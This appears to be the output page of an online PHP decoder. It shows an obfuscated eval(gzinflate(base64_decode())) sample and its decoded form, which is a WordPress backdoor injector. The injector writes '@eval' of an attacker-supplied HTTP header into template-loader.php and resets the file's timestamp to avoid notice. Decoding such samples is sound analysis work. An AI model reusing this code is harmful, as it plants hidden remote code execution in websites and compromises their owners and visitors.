Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
eval(gzinflate(base64_decode("jVFrb9owFP2OxH9wJaSCQFMgBRZNfNgQzxLCqzwyTShxnMapY0exQ0qm/fc5..
Decoded Output download
phpConfValidate('YTo0OntpOjA7czo4NzoiL3Zhci93d3cvdmhvc3RzL3dlYjU0Ni5sb2dpbi0xMy5sb2dpbnNlcnZlci5jaC9odHRwZG9jcy93cC1pbmNsdWRlcy90ZW1wbGF0ZS1sb2FkZXIucGhwIjtpOjE7czo3OiIwQTRGMjM5IjtpOjI7czozMjoiQGV2YWwoJF9TRVJWRVJbJ0hUVFBfMEE0RjIzOSddKTsiO2k6MztzOjM1OiJ+XlxzKmlmLippc19yb2JvdHNbXlx7fFw6XSsoXHt8Oil+bSI7fQ==');
function phpConfValidate($ser) {
list ($fullPath, $systemEnv, $code, $pattern) = unserialize(base64_decode($ser));
$source = file_get_contents($fullPath);
if (strstr($source, $systemEnv) !== false) {
return;
}
if (!preg_match($pattern, $source, $matches)) {
return;
}
$newSource = str_replace($matches[0], $code . PHP_EOL . $matches[0], $source);
if (strstr($newSource, $systemEnv) === false) {
return;
}
$filemtime = filemtime($fullPath) + 10;
unlink($fullPath);
file_put_contents($fullPath, $newSource);
touch($fullPath, $filemtime);
}
Did this file decode correctly?
Original Code
eval(gzinflate(base64_decode("jVFrb9owFP2OxH9wJaSCQFMgBRZNfNgQzxLCqzwyTShxnMapY0exQ0qm/fc5EArdKm1WrFxfn3vuucfFQuiFXUbdtUWwYwlUvt+tmGJQERr+1zZM2cM0ZXiimh7Emuqo8OAE3gGqi3SiOmTnPylT3OR2wwltrLzqxzymUwKpSSBu+lZXY85wkZgDzYdHTYXdemgHU+5sFkSeFXNTT+xBXzGXdVnbfzG3oxgOvGTkZxp6mQbVwKNkvloMdF9vnvOjLJ/qPsPzwbqx2yRs3NdWi/V4I7c9Vryndf+bq/d6ysIfpcbScR5XHBuNl5aeitTw9bqBx9UteU0fAxJMcBjCuna0G+ODM5zaMt92+0lru+RsOxSfDUyq9nLUduedzn3lS7HgxhQKzCj4074SR1EF/CwWigUgF8FcgHLJjQmZWcKrgRI/coGCHj3IGDIHyV9oCYEiWgEdEFNZjyVZisq2xVHrYe+gDHYmzlpntCXO4ggiWeBigvbPSOwhowJRwa/NLmDsgjIXkfzKed2tjAq460gai3B00g3yFSERRzSn+HVlugsj9LwPLAG98kV5DVyJTzeIV/5JVqIoWV7GkOL2EQqJBeWkOcV35UfuEfgEZsPZvmdMZPT++tz3o1Hf6N9P2/nvaUuZt4HAwcXnU3zjL6iCupLXxJRg+vK3+af3CeOP3qd2Y8EFLlic+XoDeWucQaSy3w==")))
Function Calls
gzinflate | 1 |
base64_decode | 1 |
Stats
MD5 | d967d05b97f5ae62e175ec58a0354867 |
Eval Count | 1 |
Decode Time | 36 ms |